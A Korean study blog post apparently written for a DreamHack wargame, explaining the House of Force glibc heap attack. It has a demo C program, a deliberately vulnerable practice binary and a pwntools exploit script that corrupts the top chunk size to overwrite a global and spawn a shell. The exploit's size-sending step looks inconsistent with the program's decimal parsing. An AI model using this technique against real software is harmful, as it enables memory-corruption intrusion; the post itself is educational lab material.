Recent Posts
Recent Comments
Link
«   2025/06   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] House of Force + 예제 본문

Hack/DreamHack

[System_Hacking] House of Force + 예제

CIDY 2022. 8. 10. 04:14

top chunk의 사이즈를 조작해 임의 주소에 청크를 할당하는 공격 기법이다. 

 

static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  ...
  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */
...
    use_top:
      victim = av->top;
      size = chunksize (victim);
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    ...
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}

 

위 코드는 _int_malloc으로, top chunk를 처리하는 코드이다. 

 

코드를 보면 탑청크의 사이즈가 할당 요청 크기(nb)보다 크거나 같다면 힙 영역에 할당한다. -> 요청 크기보다 탑청크 크기가 작을 경우 sysmalloc을 통해 추가적으로 영역을 매핑해서 할당하게 된다.

 

탑청크의 사이즈를 2^64 -1(64비트) 혹은 2^32-1(32비트)로 조작한 뒤(0xffffffffffffffff == -1 -> mmap호출 방지?라는데),  [원하는 주소 - 탑청크주소 - 0x10(헤더때문인듯)]크기로 청크를 할당하면, 한번 더 할당할 때 원하는 주소에 청크 할당이 가능하다.

 

// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
        char *buf1;
        char *trash;
        char *exploit;
        __uint64_t* top_chunk_size_addr;
        __uint64_t exploit_size = 0;
        __uint32_t target_addr = &target;
        
        buf1 = malloc(0x100);
        top_chunk_size_addr = buf1 + 0x108;
        
        fprintf(stderr,"target : %s\n", target);
        fprintf(stderr,"buf1 : 0x%x\n", buf1);
        fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
        fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
        
        *top_chunk_size_addr = 0xffffffffffffffff;
        
        exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
        fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
        trash = malloc(exploit_size);
        
        exploit = malloc(0x100);
        fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
        strcpy(exploit, "exploited!!!!!!");
        
        fprintf(stderr,"target : %s\n", target);
        
        return 0;
}

 

위 코드에서 buf1이라는 청크를 하나 할당하면 탑청크는 그 아래 바로 붙어있는데, 탑청크도 말 그대로 청크이니 헤더가 있다. -> buf1 + 0x100(할당 요청한 크기) 하고 prev_size있고 그 다음이 size라서 top chunk size의 주소는 buf1 + 0x108이 되는 것임.

 

그리고 그 주소를 참조해서 값을 0xffffffffffffffff로 바꿔버렸다.

 

그리고 원하는 주소 - 0x10 - 탑청크주소 - 0x8만큼 할당 요청을 했다.

만약 할당하고싶은 주소가 0x~~78이면 청크는 0x10단위로 정렬되기 때문에 해당 값을 딱 맞추면 0x~~80에 할당될 수 있음 -> 0x~~70에 할당하기 위해 0x8을 더 빼주는 것임. (만약 할당을 원하는 주소가 0x10의 배수라면 알아서 그 배수로 정렬될테니 신경쓸 필요 없는 부분이고.)

 

그리고 할당한 주소에 strcpy를 하니 target이 수정된 것을 볼 수 있다.

 

 

*예제

// gcc -o force2 force2.c
// 64-bit, full relro, canary, nx, pie
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
	char* buf1;
	char* buf2;
	char* trash;
	char malloc_size[21];
    
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
    
	buf1 = malloc(0x20);
	write(1, &buf1, 8);
	gets(buf1);
    
	write(1, "input malloc_size : ", 19);
	read(0, malloc_size, 21);
	trash = malloc(strtoull(malloc_size, NULL, 10));
    
	buf2 = malloc(0x100);
    
	write(1, "write to target : ", 17);
	read(0, buf2, 0x100);
    
	if(overwrite_me == 0xdeadbeefcafebabe){
		system("/bin/sh");
	}
	return 0;
}

 

우선 buf1의 값을 알려줌 == 힙 영역 주소 제공

 

그리고 gets를 이용해 탑청크 헤더의 사이즈 부분을 덮어버릴 수 있다.

 

그리고 두 번째 메모리를 어디 할당할지 잘 계산해서 한 번 할당해준 뒤, 적절한 사이즈로 다시 할당해주면 overwrite_me에 할당되어 덮을 수 있게 된다.

 

from pwn import *

p = process("./force")
e = ELF("./force")

buf1 = u64(p.recvn(8))
print(hex(buf1))

pay = b"A" * 0x20
pay += b"B" * 0x8
pay += p64(0xffffffffffffffff)

p.sendline(pay)

malloc_size = 0xffffffffffffffff & (e.sym['overwrite_me'] - (buf1 + 0x28) - 0x18)
p.recvuntil(b"input malloc_size :")
p.send(p64(malloc_size))

p.recvuntil(b"write to target :")

pay = p64(0xdeadbeefcafebabe) * 2
p.send(pay)

p.interactive()

 

비트 연산을 해 준 이유는 연산의 결과값이 음수이기 때문이다.